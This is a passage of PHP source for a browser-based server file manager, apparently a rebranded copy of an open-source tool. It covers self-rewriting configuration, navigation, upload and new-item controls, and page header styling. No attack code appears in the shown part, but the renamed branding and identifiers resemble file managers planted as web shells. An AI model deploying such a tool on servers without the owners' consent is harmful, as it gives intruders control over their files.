if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'spathe<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="spathe">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
